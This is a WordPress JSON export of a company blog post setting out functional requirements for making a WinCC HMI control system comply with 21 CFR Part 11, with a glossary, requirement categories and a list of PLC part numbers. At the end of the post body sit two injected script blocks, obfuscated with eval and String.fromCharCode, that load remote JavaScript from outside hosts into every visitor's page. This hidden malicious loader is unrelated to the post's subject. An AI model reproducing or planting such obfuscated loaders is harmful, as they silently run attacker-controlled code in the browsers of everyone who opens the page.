{"id":35588,"date":"2015-06-24T10:12:25","date_gmt":"2015-06-24T07:12:25","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35588"},"modified":"2015-06-24T10:12:25","modified_gmt":"2015-06-24T07:12:25","slug":"%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-frs-for-compliance-with-21-cfr-part-11","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-frs-for-compliance-with-21-cfr-part-11\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; FRS for Compliance with 21 CFR Part 11"},"content":{"rendered":"<h2 class=\"TITLE\" style=\"margin-bottom: 12pt;text-align: center\"><span style=\"font-size: 18.0pt\">Functional Requirements Specification -FRS\u00a0<\/span>Regarding\u00a0Requirements for Compliance with <a title=\"21 CFR PART11\" href=\"http:\/\/www.smartlogic.co.il\/21cfr-11\/\">21 CFR Part 11<\/a><\/h2>\n<p style=\"text-align: left\">This FRS presents SmarLogic's functional requirements in response to the User Requirements Specification (URS) . These functional requirements should be met in order to ensure \u00a0Control and Monitoring System complies with <a title=\"21CFR part11\" href=\"http:\/\/www.smartlogic.co.il\/wp-content\/uploads\/2013\/05\/21CFRPart11-Lecture-ilan-shaya.ppsx\">21 CFR Part 11.<\/a><\/p>\n<p style=\"text-align: left\">This FRS must be considered for the system design, build, installation, operation and testing requirements, and for traceability purposes along the product life cycle up to the Operational Qualification (<a title=\"OQ\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-operation-qualification-oq-part-1\/\">OQ<\/a>) stage.<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Responsibility<\/h3>\n<p class=\"Text\" style=\"text-align: left\">The <a title=\"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-%D7%9E%D7%94-%D7%96%D7%94\/\">Validation<\/a> Engineer is responsible for writing this protocol. The Control, Automation &amp; Validation Engineer is responsible for ensuring the preparation and approval of this protocol.<\/p>\n<p class=\"Text\" style=\"text-align: left\">The Control Engineer, Division Process Engineer and QA Manager are responsible of approving this document before development and on-site implementations.<\/p>\n<h3 class=\"Text\" style=\"text-align: left\"><\/h3>\n<p class=\"Text\" style=\"text-align: left\">The following sections list the functional requirements determined by the relevant groups of the system upgrading. Each functional requirement number is followed by the corresponding user requirement paragraph number for design qualification purpose<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Glossary<\/h3>\n<p style=\"text-align: left\">ER &#8211;\u00a0Electronic Record<\/p>\n<p style=\"text-align: left\">DB &#8211;\u00a0Database<\/p>\n<p style=\"text-align: left\">FRS &#8211;\u00a0functional requirements\u00a0Specification<\/p>\n<p style=\"text-align: left\"><a title=\"HMI\" href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-%D7%9E%D7%9E%D7%A9%D7%A7-%D7%90%D7%93%D7%9D-%D7%9E%D7%9B%D7%95%D7%A0%D7%94-hmi\/\">HMI<\/a> &#8211;\u00a0Human\/Machine Interface<\/p>\n<p style=\"text-align: left\">HSP &#8211;\u00a0High Set-Point<\/p>\n<p style=\"text-align: left\"><a title=\"HW\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments\/\">HW<\/a> &#8211; Hardware<\/p>\n<p style=\"text-align: left\"><a title=\"IQ\" href=\"http:\/\/smartlogic.co.il\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-frs-for-compliance-with-21-cfr-part-11\/\">IQ<\/a> &#8211; \u00a0Installation Qualification<\/p>\n<p style=\"text-align: left\">LSP &#8211; \u00a0Low Set-Point<\/p>\n<p style=\"text-align: left\"><a href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-operation-qualification-oq-part-1\/\">OQ<\/a> &#8211;\u00a0Operational Qualification<\/p>\n<p style=\"text-align: left\">OS &#8211;\u00a0Operating System<\/p>\n<p style=\"text-align: left\"><a title=\"PLC\" href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-plc-programmable-logic-controller\/\">PLC<\/a>\u00a0\u05b8\u05b8*-\u00a0Programmable Logic Controller<\/p>\n<p style=\"text-align: left\"><a title=\"QA\" href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-%D7%94%D7%91%D7%98%D7%97%D7%AA-%D7%90%D7%99%D7%9B%D7%95%D7%AA-%D7%AA%D7%95%D7%9B%D7%A0%D7%94-qa\/\">QA <\/a>&#8211;\u00a0Quality Assurance<\/p>\n<p style=\"text-align: left\">SCR &#8211;\u00a0Screen<\/p>\n<p style=\"text-align: left\">SOP &#8211;\u00a0Standard Operating Procedures<\/p>\n<p style=\"text-align: left\">SP &#8211;\u00a0Set-Point<\/p>\n<p style=\"text-align: left\">SSO &#8211;\u00a0Schedule of System Operation<\/p>\n<p style=\"text-align: left\"><a title=\"SW\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-installation-qualification-iq-protocol-2\/\">SW <\/a>&#8211;\u00a0Software<\/p>\n<p style=\"text-align: left\">TP &#8211;\u00a0Test Point<\/p>\n<p style=\"text-align: left\">URS &#8211;\u00a0User Requirements Specification<\/p>\n<h2 style=\"text-align: left\">Requirements for Meeting 21 CFR Part 11<\/h2>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Top-Level Requirements<\/h3>\n<p style=\"text-align: left\">This section covers the proposed solutions for meeting 21 CFR Part 11 presented in the\u00a0URS for a\u00a0new WinCC HMI System. This system must allow the <strong>:<\/strong>following five main functionalities<\/p>\n<p style=\"text-align: left\">Ensure the system integrity<\/p>\n<p style=\"text-align: left\">Control the access to the system by logical security<\/p>\n<p style=\"text-align: left\">Audit events that create and modify electronic records<\/p>\n<p style=\"text-align: left\">Apply electronic signatures to the system<\/p>\n<p style=\"text-align: left\">Backup and archive data to ensure record integrity in case of failure<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Detailed Requirements<\/h3>\n<p style=\"text-align: left\">This section describes SmartLogic's solutions that will meet the detailed requirements listed in the\u00a0URS. These requirements are divided into 6 categories for the sake of clarity:<\/p>\n<p style=\"text-align: left\">Electronic Records<\/p>\n<p style=\"text-align: left\">Security<\/p>\n<p style=\"text-align: left\">Audit Trail<\/p>\n<p style=\"text-align: left\">Archive<\/p>\n<p style=\"text-align: left\">Backup<\/p>\n<p style=\"text-align: left\"><strong>*<\/strong>\u00a0Here are some\u00a0examples of the <a title=\"\u05d0\u05d5\u05d8\u05d5\u05de\u05e6\u05d9\u05d4 \u05d5\u05d1\u05e7\u05e8\u05d4- \u05d1\u05e7\u05e8 \u05de\u05ea\u05d5\u05db\u05e0\u05ea\u05ea \u05ea\u05e2\u05e9\u05d9\u05d9\u05ea\u05d9\" href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-plcs-topic-part-2\/\"><strong>PLCs<\/strong><\/a> used by smartlogic:\u00a06XV1830-0EH10,\u00a06ES7131-4BF00-0AA0,6ES7193-4CA40-0AA0,6ES7134-4GD00-0AB0,6ES7193-4CA40-0AA0,\u00a06ES7138-4CA01-0AA0,6ES7193-4CC20-0AA0,\u00a06ES7590-1AB60-0AA0,\u00a06ES7511-1AK00-0AB0,\u00a06ES7954-8LP01-0AA0,6ES7155-6AU00-0BN0<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Functional Requirements Specification -FRS Regarding Requirements for Compliance with 21 CFR Part 11<\/p>\n","protected":false},"author":2,"featured_media":786,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[26,28,30,31,36,46,47,49,51,168,174,190,195,228,262,285,290,314,375,415,422,452,502,504,522],"class_list":["post-35588","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-1746-no4v","tag-1746-ow16","tag-1746-p2-en","tag-1766-l32bwa","tag-21-cfr-part-11","tag-6es7155-6au00-0bn0-en","tag-6es7511-1ak00-0ab0","tag-6es7590-1ab60-0aa0","tag-6es7954-8lp01-0aa0-en","tag-frs","tag-functional-requirements-specification","tag-hmi-en","tag-hw","tag-iq","tag-oo","tag-plc","tag-plcs-en","tag-qo","tag-sw","tag-traceability","tag-urs","tag-452","tag-502","tag-504","tag-522"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35588","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35588"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35588\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media\/786"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}